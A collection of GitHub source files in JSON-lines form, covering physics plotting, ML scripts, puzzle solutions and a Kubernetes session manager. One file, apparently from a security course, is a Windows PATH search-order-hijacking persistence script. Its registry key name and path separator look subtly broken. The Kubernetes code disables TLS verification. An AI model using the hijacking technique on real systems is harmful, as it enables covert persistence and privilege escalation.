read_HDF.get_corr_from_HDF5_logfile(filename)\n# Operators = read_HDF.get_ops_from_HDF5_logfile(filename)\n# N_L, N_T, gauge_group, beta, m_1, m_2 = read_HDF.get_info_from_HDF5_logfile(filename)\n\n# (Corr, Corr_err) = get_mean_std_corr(Corr)\n# Corr_settings()\n# plt.title(r\"%s, $\\beta$=%1.1e, $m_1$=%1.1e, $m_2$=%1.1e\"%(gauge_group, beta, m_1, m_2))\n# for ind in (0,44):\n# Corr_Op = Corr[ind]\n# Corr_err_Op = Corr_err[ind]\n# xarr = np.arange(len(Corr_Op))\n# plt.errorbar(xarr, Corr_Op, yerr = Corr_err_Op)\n# plt.show()\n\ndef plot_eff_mass(filename):\n (corr, ops, info) = HDF_log.get_corr_ops_info_from_HDF5_logfile(filename)\n N_L, N_T, gauge_group, beta, m_1, m_2 = info\n test = err.measurement(\"basic_%s_beta_%1.3f_m1_%1.3f_m2_%1.3f_T%i_L%i\"%(gauge_group, beta, m_1, m_2, N_T, N_L), measure_func=None, sampling_args = (\"JK_SAMEDIM\", 0, 0))\n test.read_from_HDF()\n test.print_everything()\n eff_mass_settings()\n xarr = np.arange(1.5,N_T-1.5)\n print(len(xarr), len(test.results[\"m_eff_impl_deri_\"+\"pipi\"].median))\n for op in (\"pi\", \"rho\", \"pipi\"):\n plt.errorbar(xarr, test.results[\"m_eff_impl_deri_\"+op].median, (test.results[\"m_eff_impl_deri_\"+op].ep,test.results[\"m_eff_impl_deri_\"+op].em), label = op)\n plt.legend()\n plt.show()\n\ndef plot_corr(filename):\n (corr, ops, info) = HDF_log.get_corr_ops_info_from_HDF5_logfile(filename)\n N_L, N_T, gauge_group, beta, m_1, m_2 = info\n test = err.measurement(\"basic_%s_beta_%1.3f_m1_%1.3f_m2_%1.3f_T%i_L%i\"%(gauge_group, beta, m_1, m_2, N_T, N_L), measure_func=None, sampling_args = (\"JK_SAMEDIM\", 0, 0))\n test.read_from_HDF()\n test.print_everything()\n eff_mass_settings()\n xarr = np.arange(N_T)\n # print(len(xarr), len(test.results[\"m_eff_impl_deri_\"+\"pipi\"].median))\n plt.yscale(\"log\")\n for op in (\"pi\", \"rho\", \"pipi\"):\n plt.errorbar(xarr, test.results[\"Corr_\"+op].median, (test.results[\"Corr_\"+op].ep,test.results[\"Corr_\"+op].em), label = op)\n plt.legend()\n plt.show()\n\n\n\n # Corr = read_HDF.get_corr_from_HDF5_logfile(filename)\n # Operators = read_HDF.get_ops_from_HDF5_logfile(filename)\n # N_L, N_T, gauge_group, beta, m_1, m_2 = info\n\n # (Corr, Corr_err) = get_mean_std_corr(Corr)\n # eff_mass_settings()\n # plt.title(r\"%s, $\\beta$=%1.1e, $m_1$=%1.1e, $m_2$=%1.1e\"%(gauge_group, beta, m_1, m_2))\n # for ind in (0,44):\n # Corr_Op = Corr[ind]\n # xarr = np.arange(len(Corr_Op)-3)\n # m_eff = calc_eff_mass_impl_deri(Corr_Op)\n # m_eff_err = m_eff/10. # TOY MODEL\n # plt.errorbar(xarr, m_eff, m_eff_err)\n # plt.show()\n\n# def plot_inf_volume_extrapolation(filename): # work in Progress (plot inf volume extrapolation from E(L) and fit params with error)\n\n\n\n# set_errorbar_settings()\n\n# plot_Corr(\"output/HDF5_logfiles/Scattering_I2_SP(4)_beta7.200_m1-0.780_m2-0.780_T24_L12_logfile.hdf5\")\n# plot_eff_mass(\"../output/HDF5_logfiles/Scattering_I2_SP(4)_beta6.900_m1-0.900_m2-0.900_T24_L12_logfile.hdf5\")\n","repo_name":"yannickdengler/Isospin_2_Analysis","sub_path":"scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6677883488","text":"# 使用模型来预测,3个参数,2分类\nimport math\nimport time\n\nimport keras\nimport numpy as np\nimport cv2\n\n\n# 鼠标回调函数\ndef draw_circle(event, x, y, flags, param):\n global ix, iy, drawing, mode, start_time, last_x, last_y, last_2_x, last_2_y, last_2_time, last_time, now_time\n if event == cv2.EVENT_LBUTTONDOWN:\n drawing = True\n ix, iy = x, y\n start_time = time.time()\n last_2_x = last_x = x\n last_2_y = last_y = y\n last_2_time = last_time = time.time()\n\n elif event == cv2.EVENT_MOUSEMOVE:\n if drawing:\n x = max(0, x)\n x = min(x, 254)\n y = max(0, y)\n y = min(y, 254)\n img[y][x][0] = 255\n data[y][x][0] = 255\n now_time = time.time()\n data[y][x][1] = now_time - start_time\n v = math.sqrt((last_2_x - x) ** 2 + (last_2_y - y) ** 2) / (now_time - last_2_time)\n data[last_y][last_x][2] = v\n last_2_x = last_x\n last_2_y = last_y\n last_x = x\n last_y = y\n last_time = now_time\n last_2_time = last_time\n elif event == cv2.EVENT_LBUTTONUP:\n drawing = False\n x = max(0, x)\n x = min(x, 254)\n y = max(0, y)\n y = min(y, 254)\n img[y][x][0] = 255\n data[y][x][1] = time.time() - start_time\n\n\nmodel = keras.models.load_model('./data/mouse_track_3_PARA_1.h5')\n\nimg = np.zeros((255, 255, 1), np.uint8)\ndata = np.zeros((255, 255, 3), np.float32)\ncv2.namedWindow('image')\ncv2.setMouseCallback('image', draw_circle)\n\ndrawing = False # 鼠标按下后为True\nix, iy = -1, -1\n\nwhile True:\n cv2.imshow('image', img)\n k = cv2.waitKey(1) & 0xFF\n if k == 32:\n img = img.astype('float32')\n data = np.expand_dims(data, 0)\n data[:, :, :, 0] /= 255\n data[:, :, :, 1] *= 10\n data[:, :, :, 2] /= 1000\n predictions = model.predict(data)\n print(np.argmax(predictions[0]))\n img = np.zeros((255, 255, 1), np.uint8)\n data = np.zeros((255, 255, 3), np.float32)\n elif k == 27:\n break\n\ncv2.destroyAllWindows()\n","repo_name":"synsyh/MouseTrack","sub_path":"backup/pc_model_3_feature/model_test_3_PARA.py","file_name":"model_test_3_PARA.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42998898322","text":"# coding=utf-8\n\nimport sys\n\n\nclass Solution:\n\n def solution(self):\n res = 1\n c = 0\n s = ''\n nums = [1, 10, 100, 1000, 10000, 100000, 1000000]\n for i in range(1, sys.maxsize):\n ss = str(i)\n c += len(ss)\n s += ss\n if c > 1000000:\n break\n for i in nums:\n res *= int(s[i - 1])\n\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.solution())\n","repo_name":"ooooo-youwillsee/wechat-data-structures-and-algorithms","sub_path":"1-50/36/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71965839233","text":"import msgpack\nimport viewer_cli\nimport matplotlib.pyplot as plt\n\n\n# small script to load and display primitives\n\n# file = \"../../envs/unicycle1_v0/motions/unicycle1_v0__ispso__2023_04_03__14_56_57.bin.im.bin.im.bin.small.msgpack\"\n# robot = \"unicycle1\"\n\n#\n# file = \"../../envs/acrobot_v0/motions/acrobot_v0_all2.bin.sp.bin.small.msgpack\"\n# robot = \"acrobot\"\n\n# file = \"../../envs/quad2d_v0/motions/quad2d_v0_all_im.bin.sp.bin.ca.bin.small.msgpack\"\n# robot = \"quad2d\"\n\n# file = \"../../envs/quad2dpole_v0/motions/quad2dpole_all.bin.im.bin.sp1.bin.ca.bin.small.msgpack\"\n# robot = \"quad2dpole\"\n\nfile = \"../../envs/quadrotor_v0/motions/quad3d_v0_all3.bin.im.bin.sp1.bin.ca.bin.small.msgpack\"\n# quad2dpole_v0/motions/quad2dpole_all.bin.im.bin.sp1.bin.ca.bin.small.msgpack\"\nrobot = \"quad3d\"\n\n\nwith open(file, \"rb\") as f:\n data = msgpack.unpack(f, raw=False)\n\ntrajs = data[\"data\"]\n\n\ngrid = (1, 5)\nnum_primitives = grid[0] * grid[1]\ntrajs = trajs[0:num_primitives]\n\nlen(trajs)\n\nviewer = viewer_cli.get_robot_viewer(robot)\n\n\n# fig, axs = plt.subplots(grid[0], grid[1], sharex=True, sharey=True)\n\n# fig, axs = plt.subplots(grid[0], grid[1], sharex=True, sharey=True)\n\nif viewer.is_3d:\n fig = plt.figure()\n axs = []\n for i in range(5):\n axs.append(fig.add_subplot(1, 5, i + 1, projection=\"3d\"))\n\n # fig, axs = plt.subplots(grid[0], grid[1])\n\nelse:\n fig, axs = plt.subplots(grid[0], grid[1])\n\n\nfig.set_size_inches(10, 2)\n#\n# fig = plt.figure(figsize=plt.figaspect(0.5))\n# ax = fig.add_subplot(1, 2, 1, projection='3d')\n#\n# # plot a 3D surface like in the example mplot3d/surface3d_demo\n# X = np.arange(-5, 5, 0.25)\n# Y = np.arange(-5, 5, 0.25)\n# X, Y = np.meshgrid(X, Y)\n# R = np.sqrt(X**2 + Y**2)\n# Z = np.sin(R)\n# surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.coolwarm,\n# linewidth=0, antialiased=False)\n# ax.set_zlim(-1.01, 1.01)\n# fig.colorbar(surf, shrink=0.5, aspect=10)\n#\n# # ==============\n# # Second subplot\n# # ==============\n# # set up the axes for the second plot\n# ax = fig.add_subplot(1, 2, 2, projection='3d')\n#\n#\n\n\nfor i, traj in enumerate(trajs):\n if grid[0] > 1 and grid[1] > 1:\n ix = i % grid[1]\n iy = i // grid[1]\n ax = axs[iy][ix]\n else:\n ax = axs[i]\n viewer.view_trajectory(ax, traj)\n viewer.view_state(ax, traj[\"states\"][0], color=\"green\")\n viewer.view_state(ax, traj[\"states\"][-1], color=\"red\")\n # ax.set_xlim(-2, 1.5)\n # ax.set_ylim(-3, 1.5)\n\n if not viewer.is_3d:\n ax.set_aspect(\"equal\")\n # ax.axis('off')\n\n ax.tick_params(\n top=False,\n bottom=False,\n left=False,\n right=False,\n labelleft=False,\n labelbottom=False,\n )\n\n\n# plt.axis('off')\n# share_all=True\n\n\n# if not viewer.is_3d:\nfig.tight_layout()\n\nfig.savefig(f\"primitives-{robot}.png\", dpi=300)\n\n\n# ax.axis('equal')\n\nplt.show()\n","repo_name":"quimortiz/dynobench","sub_path":"utils/viewer/view_motions.py","file_name":"view_motions.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27615950536","text":"# 1539. Kth Missing Positive Number\n# Easy\n# Array, Binary Search\n# https://leetcode.com/problems/kth-missing-positive-number\n#\n# Return the kth positive integer that is missing from this array.\n# def findKthPositive(self, arr: List[int], k: int) -> int:\n# Input: arr = [2,3,4,7,11], k = 5\n# Output: 9\n# Explanation: The missing positive integers are [1,5,6,8,9,10,12,13,...]. \n# The 5th missing positive integer is 9.\n# idx: [ 0,1,2, 3, 4]\n# val: [ 2,3,4, 7, 11] \n# msg: [1, 5,6, 8,9,10, 12,13,...]\n# ith: [1, 2,3, 4,5, 6, 7, 8]\n# cmb: [0,1,2,3,4,5,6,7,8, 9,10]\n\nclass Solution:\n # Bisection | Time: O(log n) | Space: O(1)\n def findKthPositive(self, arr: list[int], k: int) -> int:\n lo, hi = 0, len(arr)\n while lo < hi:\n mid = (lo + hi) // 2\n if arr[mid] - mid > k:\n hi = mid\n else:\n lo = mid + 1\n return lo + k\n\n # Linear Search | Time: O(n+k) | Space: O(1)\n def findKthPositive(self, arr: list[int], k: int) -> int:\n for i in range(1, len(arr) + k + 1):\n if i not in arr:\n k -= 1\n if k == 0:\n return i","repo_name":"daviscvance/Practice","sub_path":"Leetcode/Python/bisection/easy/1539-kth-missing-positive-number.py","file_name":"1539-kth-missing-positive-number.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75130914114","text":"import torch\nimport torch.nn.functional as F\n\nfrom torch_two_sample.statistics_diff import MMDStatistic\nfrom tqdm import tqdm\n\nfrom .base import Estimator as BaseEstimator\nfrom .utils import lazy_kwarg_init, stack, to_device, \\\n approx_median_distance\n\ndef _total_variation(a, b):\n k = a.size(1)\n a = F.one_hot(a.argmax(dim=1), num_classes=k) \\\n .float().mean(dim=0)\n b = F.one_hot(b.argmax(dim=1), num_classes=k) \\\n .float().mean(dim=0)\n return (a - b).abs().sum()\n\nclass Estimator(BaseEstimator):\n\n STATS = ['mmd', 'tv']\n MAX_SAMPLES = 1000\n\n def __init__(self, hypothesis, hypothesis_space, a, b, stat,\n device='cpu', verbose=True):\n super().__init__()\n \n self.to_device = lambda x: to_device(x, device)\n self.verbose = verbose\n\n if stat not in self.STATS:\n raise NotImplementedError(f'{stat} not implemented'\n ' in class bbsd.Estimator.')\n\n if hypothesis is None:\n hypothesis = hypothesis_space()\n self.hypothesis = hypothesis.to(device).eval()\n self.dataloader = hypothesis_space.test_dataloader\n self.a = a # dataset, not dataloader\n self.b = b # dataset, not dataloader\n\n n1 = min(len(self.a), self.MAX_SAMPLES)\n n2 = min(len(self.b), self.MAX_SAMPLES)\n\n if stat == self.STATS[0]:\n sigma = approx_median_distance(\n self._get_softmax_output(self.a),\n self._get_softmax_output(self.b))\n sigma = max(sigma, 1e-4)\n alpha = 0.5 / (sigma ** 2)\n self.stat = lazy_kwarg_init(\n MMDStatistic(n1, n2),\n alphas=(alpha, ), ret_matrix=False)\n elif stat == self.STATS[1]:\n self.stat = _total_variation\n\n def _get_softmax_output(self, dset):\n outputs = []\n iterator = self.to_device(self.dataloader(dset))\n if self.verbose:\n iterator = tqdm(iterator)\n with torch.no_grad():\n for x, *_ in iterator:\n yhat = self.hypothesis(x).softmax(dim=1)\n for i in range(yhat.size(0)):\n outputs.append((yhat[i].cpu().numpy(), ))\n return stack(outputs, self.MAX_SAMPLES)\n \n def _compute(self):\n return self.stat(self._get_softmax_output(self.a),\n self._get_softmax_output(self.b)).item()","repo_name":"anthonysicilia/multiclass-domain-divergence","sub_path":"experiments/estimators/bbsd.py","file_name":"bbsd.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"10269092734","text":"# the first executable name matched in PATH will be run when its called\n# ie making a chrome.exe executable and placing it on the windows path higher than the regular chrome path \n# will cause it to launch our chrome.exe when the user calls it instead of the once expected\n\nimport os, winreg\n\ndef readPathValue(reghive,regpath):\n reg = winreg.ConnectRegistry(None, reghive)\n key = winreg.OpenKey(reg,regpath, access=winreg.KEY_READ)\n index = 0\n while True:\n val = winreg.EnumValue(key, index)\n if val[0] == \"Path\":\n return val[1]\n index+=1\n\ndef editPathValue(reghive, regpath, targetdir):\n path = readPathValue(reghive, regpath)\n newpath = targetdir + \":\" + path\n reg = winreg.ConnectRegistry(None, reghive)\n key = winreg.OpenKey(reg, regpath, access = winreg.KEY_SET_VALUE)\n winreg.SetValueEx(key,\"Path\",0,winreg.REG_EXPAND_SZ, newpath)\n\n\n# Modify user path\nreghive = winreg.HKEY_CURRENT_USER\nregpath = \"Enviornment\"\ntargetdir = os.getcwd()\n\neditPathValue(reghive, regpath, targetdir)\n\n# Modify SYSTEM path\n# reghive = winreg.HKEY_LOCAL_MACHINE\n# regpath = \"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Enviornment\"\n# editPathValue(reghive, regpath, targetdir)\n","repo_name":"sebcampos/Coursera_Projects","sub_path":"Cybersecurity_with_Python/Execution_persistence_privilege_escalation_and_evasion/python_scripts/search_order_hijacking.py","file_name":"search_order_hijacking.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39269469007","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n\n#\n# Complete the 'transformSentence' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING sentence as parameter.\n#\n\ndef transformSentence(sentence):\n # Write your code here\n for i in range(len(sentence)):\n if i == 0:\n continue\n elif i >= 1 and sentence[i-1] > sentence[i]:\n sentence[i].upper()\n elif i >=1 and sentence[i-1] < sentence[i]:\n sentence[i].lower()\n print (sentence)\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n sentence = input()\n\n result = transformSentence(sentence)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n\n","repo_name":"saisrinivaskondreddy/python-handson","sub_path":"hackerrank/stringManipulate.py","file_name":"stringManipulate.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15866156898","text":"from setuptools import setup, find_packages\nfrom os import path\n\nREADME_MD = open(path.join(path.dirname(path.abspath(__file__)), \"README.md\")).read()\n\nsetup(\n name=\"donttrust\",\n version=\"0.1.5\",\n description=\"Form validation library for python\",\n long_description=README_MD,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/arnu515/donttrust\",\n author=\"arnu515\",\n author_email=\"arnu5152@gmail.com\",\n keywords=\"form validation trust joi\",\n license=\"MIT\",\n packages=find_packages(exclude=(\n \"tests\",\n )),\n include_package_data=True,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Natural Language :: English\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Typing :: Typed\"\n ],\n)\n","repo_name":"arnu515/donttrust","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"13083394943","text":"import getpass\r\nimport json\r\nimport logging\r\nimport os\r\nimport pathlib\r\nimport platform\r\nimport re\r\nimport shutil\r\nimport tempfile\r\nimport time\r\n\r\nimport requests\r\nimport urllib3\r\nfrom errors import CreateSessionError, DeleteSessionError, HarborError, CtorError, ContainerError\r\nfrom kubernetes import client, config\r\nfrom shell import run\r\n\r\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\n\r\n\r\nCONFIG_DIR = '/nfs/site/disks/ssg_stc_simics_scratch/ssm_methodology/sources/methodology/container'\r\nPATH_CONFIG = pathlib.Path('/nfs/site/disks/ssg_stc_simics_scratch/ssm_methodology/sources/methodology/container')\r\n#PATH_KUBECTL = pathlib.Path('/nfs/site/disks/ssg_stc_simics_scratch/ssm_methodology/tools/kubernetes/stable/kubectl')\r\nPATH_KUBECTL = pathlib.Path('/home/sachinsk/kubectl')\r\n\r\nif platform.system() == 'Windows':\r\n __path_server = pathlib.Path('//pdxsmb.pdx.intel.com/samba')\r\n PATH_CONFIG = __path_server / PATH_CONFIG\r\n PATH_KUBECTL = __path_server / PATH_KUBECTL.with_suffix('.exe')\r\n\r\nclass K8SessionManager:\r\n ''' Singleton class that interacts with the CaaS cluster and the Harbor store for docker images\r\n This class uses Kubernetes API, kubectl tool and Harbour API\r\n Responsibilities:\r\n - List, create, delete session as per user options in K8 cluster\r\n - list available oses from Harbor\r\n '''\r\n\r\n __instance = None\r\n\r\n def __init__(self):\r\n if K8SessionManager.__instance is not None:\r\n raise CtorError(\"K8SessionManager is a singleton!\")\r\n\r\n self._prepare()\r\n self._user = getpass.getuser()\r\n config.load_kube_config()\r\n self._api = client.CoreV1Api()\r\n path_resources = pathlib.Path(__file__).parent.parent.parent / 'resources'\r\n path_templates = path_resources / 'templates'\r\n filename = 'launch-service.yaml.template'\r\n self.path_template = path_templates / 'devtools' / filename\r\n dirname = os.path.dirname(__file__)\r\n path_root = os.path.join(dirname, '../../')\r\n path_templates = os.path.join(path_root, 'resources/templates')\r\n self._path_template = os.path.join(path_templates, f'devtools/{filename}')\r\n self._namespace = 'simics'\r\n self._docker_repo_url = \"https://amr-registry.caas.intel.com/api/repositories?project_id=147&q=sas-ssm\"\r\n K8SessionManager.__instance = self\r\n self._set_env()\r\n\r\n @staticmethod\r\n def getInstance():\r\n if K8SessionManager.__instance is None:\r\n K8SessionManager()\r\n\r\n return K8SessionManager.__instance\r\n\r\n def _prepare(self):\r\n path_home = pathlib.Path.home()\r\n path_kubeconfig = path_home / '.kube' / 'config'\r\n path_kubeconfig.parent.mkdir(exist_ok=True, parents=True)\r\n if not path_kubeconfig.exists():\r\n shutil.copy(PATH_CONFIG / 'kube.config', path_kubeconfig)\r\n if platform.system() == 'Windows':\r\n path_kubectl = path_home / 'bin' / PATH_KUBECTL.name\r\n path_kubectl.parent.mkdir(exist_ok=True, parents=True)\r\n if not path_kubectl.exists():\r\n shutil.copy(PATH_KUBECTL, path_kubectl)\r\n else:\r\n path_kubectl = PATH_KUBECTL\r\n\r\n self.path_kubectl = path_kubectl\r\n\r\n def _set_env(self):\r\n os.environ['http_proxy'] = 'http://proxy-chain.intel.com:911'\r\n os.environ['https_proxy'] = 'http://proxy-chain.intel.com:911'\r\n os.environ['no_proxy'] = 'intel.com,.intel.com,localhost,127.0.0.1,10.0.0.0/8' # ,192.168.0.0/16,172.16.0.0/12'\r\n command = f'{self.path_kubectl} config set-context --current --namespace={self._namespace}'\r\n run(command, capture_outputs=True)\r\n\r\n def _get_new_session_name(self, session_type):\r\n user_sessions = self._get_user_sessions(session_type)\r\n next_session_number = 1\r\n if user_sessions:\r\n session_numbers = [session.split('-')[2] for session in user_sessions]\r\n if session_numbers:\r\n next_session_number = int(max(session_numbers)) + 1\r\n\r\n next_session_name = f'{self._user}-{session_type}-{next_session_number}'\r\n return next_session_name\r\n\r\n def _get_user_sessions(self, session_type):\r\n # TODO: this returns None, none\r\n # cmd = f'{self.path_kubectl} get pods --no-headers -o custom-columns=\":metadata.labels.app\"'\r\n cmd = f'{self.path_kubectl} get pods -o=name'\r\n returncode, stdout, _ = run(cmd, None, capture_outputs=True)\r\n if returncode:\r\n raise ConnectionError(f'Failed to get sessions for {self._user}')\r\n\r\n pattern = f\"{self._user}-{session_type}-[0-9]+\"\r\n all_sessions = [i.split('/')[1] for i in stdout.split()]\r\n user_sessions = ['-'.join(session.split('-')[:3]) for session in all_sessions if re.match(pattern, session)]\r\n\r\n return user_sessions\r\n\r\n def _get_pod_info(self):\r\n command = f'{self.path_kubectl} get pods -o json'\r\n returncode, stdout, stderr = run(command, capture_outputs=True)\r\n\r\n if returncode:\r\n raise CreateSessionError(\r\n f'Failed to get pods info: {stderr}. Please contact ssm.methodology@intel.com'\r\n )\r\n\r\n data = json.loads(stdout)\r\n pod_info = {}\r\n for item in data['items']:\r\n pod_name = item['metadata']['name']\r\n dep_name = \"-\".join(item['metadata']['name'].split(\"-\")[0:3])\r\n image = item['spec']['containers'][0]['image']\r\n pod_info[dep_name] = {'os_image': image.split(\"/\")[-1], 'pod_name': pod_name}\r\n\r\n return pod_info\r\n\r\n def _get_user_info(self):\r\n if platform.system() == 'Windows':\r\n user_info = ''\r\n else:\r\n returncode, stdout, _ = run('id -a', None, capture_outputs=True)\r\n if returncode:\r\n raise errors.ContainerError('cannot fetch user information')\r\n user_info = stdout\r\n return user_info\r\n\r\n def generate_config(self, session_type, platform_name, simics_version, version, host_os):\r\n data = self.path_template.read_text()\r\n session_name = self._get_new_session_name(session_type) # TODO: add platform data to name or label\r\n path_sandbox = '/tmp/sandbox'\r\n if session_type == 'simulation':\r\n command = f\"xterm -e 'mkdir -p {path_sandbox}; cd {path_sandbox}; flc launch {platform_name} --path project_{platform_name}; bash'\"\r\n elif session_type == 'interactive':\r\n command = f\"xterm -e 'mkdir -p {path_sandbox}; cd {path_sandbox}; flc co vp; cd vp; bash'\"\r\n\r\n data = data.replace('', command)\\\r\n .replace('', session_name)\\\r\n .replace('', host_os)\\\r\n .replace('', self._namespace)\\\r\n .replace('', self._get_user_info()) \\\r\n\r\n path_config = pathlib.Path.cwd() / f'{session_name}.yaml'\r\n path_config.write_text(data)\r\n\r\n return session_name, path_config\r\n \r\n def create_session(self, session_type, platform, simics_version, version, host_os, user=None):\r\n if user is not None:\r\n self._user = user\r\n print(f'Create Session setting user to {self._user}')\r\n session_name, path_config = self.generate_config(session_type, platform, simics_version, version, host_os)\r\n command = f'{self.path_kubectl} apply -f {path_config}'\r\n returncode, stdout, stderr = run(command, capture_outputs=True)\r\n path_config.unlink()\r\n if returncode:\r\n message = f'kubectl apply failed with {returncode}:'\r\n message = f'{message}\\nSTDOUT:{stdout}\\nSTDERR:{stderr}'\r\n raise errors.ContainerError(message)\r\n\r\n time.sleep(3)\r\n # check if the pod deployment was successful\r\n dep_info = self._verify_deployment(session_name)\r\n if not dep_info:\r\n self.delete_session(session_name=session_name, session_type=session_type)\r\n raise CreateSessionError(\r\n f'Failed to create session {session_name}. Please contact ssm.methodology@intel.com'\r\n )\r\n session_name = dep_info['metadata']['labels']['app']\r\n ip = json.loads(dep_info['metadata']['annotations']['field.cattle.io/publicEndpoints'])[0]['addresses'][0]\r\n vnc_port = json.loads(dep_info['metadata']['annotations']['field.cattle.io/publicEndpoints'])[0]['port']\r\n ip_port = f'{ip}:{vnc_port}'\r\n created = dep_info['metadata']['creationTimestamp']\r\n\r\n return session_name, ip_port, created\r\n\r\n def _verify_deployment(self, session_name):\r\n cmd = f'{self.path_kubectl} get deployment {session_name} -o json'\r\n while True:\r\n returncode, stdout, stderr = run(cmd, None, capture_outputs=True)\r\n if returncode:\r\n logging.error(stderr)\r\n return None\r\n\r\n dep_info = json.loads(stdout)\r\n status = dep_info.get('status')\r\n if status.get('readyReplicas', 0) == 1:\r\n return dep_info\r\n\r\n\r\n def _get_deployment_info(self, session_type):\r\n cmd = f'{self.path_kubectl} get deployment -o json'\r\n returncode, stdout, _ = run(cmd, None, capture_outputs=True)\r\n if returncode:\r\n raise ContainerError(\r\n f'Failed to get deployment info for user {self._user}. Please contact ssm.methodology@intel.com'\r\n )\r\n\r\n dep_info = json.loads(stdout)\r\n if not len(dep_info):\r\n return None\r\n\r\n session_info = list()\r\n session_name_pat = f'^{self._user}-{session_type}-[0-9]+'\r\n regex = re.compile(f'^{self._user}-{session_type}-[0-9]+')\r\n for dep in dep_info['items']:\r\n session_name = dep['metadata']['labels']['app']\r\n if not regex.match(session_name):\r\n continue\r\n endpoints = dep['metadata']['annotations']['field.cattle.io/publicEndpoints']\r\n endpoints = json.loads(endpoints)\r\n endpoint = endpoints[0]\r\n address = endpoint.get('addresses')[0]\r\n port = endpoint.get('port')\r\n address_full = f'{address}:{port}'\r\n created = dep['metadata']['creationTimestamp']\r\n session_info.append([session_name, address_full, created])\r\n\r\n return session_info\r\n\r\n def is_valid_os(self, OS):\r\n return OS in [o_s for o_s in self.get_oses()[1]]\r\n\r\n def _is_valid_session(self, session_name, session_type):\r\n return session_name in [session[0] for session in self._get_deployment_info(session_type)]\r\n\r\n def delete_session(self, session_type=None, session_name=None, user=None):\r\n if user is not None:\r\n self._user = user\r\n print(f'Delete Session setting user to {self._user}')\r\n\r\n if not self._is_valid_session(session_name, session_type):\r\n raise DeleteSessionError(f'No such session {session_name}')\r\n\r\n for kind in ['service', 'deployment']:\r\n cmd = f\"{self.path_kubectl} get {kind} {session_name} -o yaml\"\r\n returncode, stdout, _ = run(cmd, None, capture_outputs=True)\r\n if returncode:\r\n raise DeleteSessionError(f'Failed to delete session {session_name}. Please contact ssm.methodology@intel.com')\r\n\r\n tempyaml = tempfile.NamedTemporaryFile(mode=\"w\",\r\n prefix=f'{session_name}.{kind}_',\r\n suffix=\".yaml\",\r\n delete=False)\r\n tempyaml.write(stdout)\r\n tempyaml.close()\r\n cmd = f'{self.path_kubectl} delete -f {tempyaml.name}'\r\n returncode, stdout, _ = run(cmd, None, capture_outputs=True)\r\n if returncode:\r\n raise DeleteSessionError(f'Failed to delete session {session_name}. Please contact ssm.methodology@intel.com')\r\n tempyaml.delete\r\n logging.debug(f\"Deleted {kind} for {session_name}\")\r\n\r\n def get_oses(self):\r\n r = requests.get(self._docker_repo_url, verify=False, timeout=60)\r\n\r\n if r.status_code == 200:\r\n headers = [\"Host OS\"]\r\n data = [entry['name'].split(\"/\")[2] for entry in json.loads(r.content)]\r\n return headers, data\r\n\r\n raise HarborError(f'Unable to fetch OS information from {self._docker_repo_url}. Please contact ssm.methodology@intel.com')\r\n\r\n def list_sessions(self, session_type, user=None):\r\n if user is not None:\r\n self._user = user\r\n print(f'List Session setting user to {self._user}')\r\n dep_info = self._get_deployment_info(session_type)\r\n headers, data = None, None\r\n if dep_info:\r\n pod_info = self._get_pod_info() # TODO: what if this is empty?!\r\n data = []\r\n headers = [\"Session Name\", \"Host OS\", \"VNC Address\", \"Created Date\"]\r\n for session_name, ip_port, created in dep_info:\r\n if session_name in pod_info.keys():\r\n data.append([session_name, pod_info[session_name]['os_image'], ip_port, created])\r\n else:\r\n logging.info(f'No sessions created for {self._user}')\r\n\r\n return headers, data\r\n\r\n","repo_name":"prabhuram3739/platform-store","sub_path":"methodology/apps/source/container/k8_session_manager.py","file_name":"k8_session_manager.py","file_ext":"py","file_size_in_byte":13380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4880320577","text":"import os\n\nimport torch\nimport torchvision.datasets as datasets\nimport torchvision.transforms as T\nfrom PIL import Image\nimport numpy as np\nimport cv2\n\nfrom augmenter import Augmenter\n\nclass CustomImageFolderDataset(datasets.ImageFolder):\n\n def __init__(self,\n root,\n transform=None,\n target_transform=None,\n loader=datasets.folder.default_loader,\n is_valid_file=None,\n low_res_augmentation_prob=0.0,\n crop_augmentation_prob=0.0,\n photometric_augmentation_prob=0.0,\n swap_color_channel=False,\n output_dir='./',\n ):\n\n super(CustomImageFolderDataset, self).__init__(root,\n transform=transform,\n target_transform=target_transform,\n loader=loader,\n is_valid_file=is_valid_file)\n 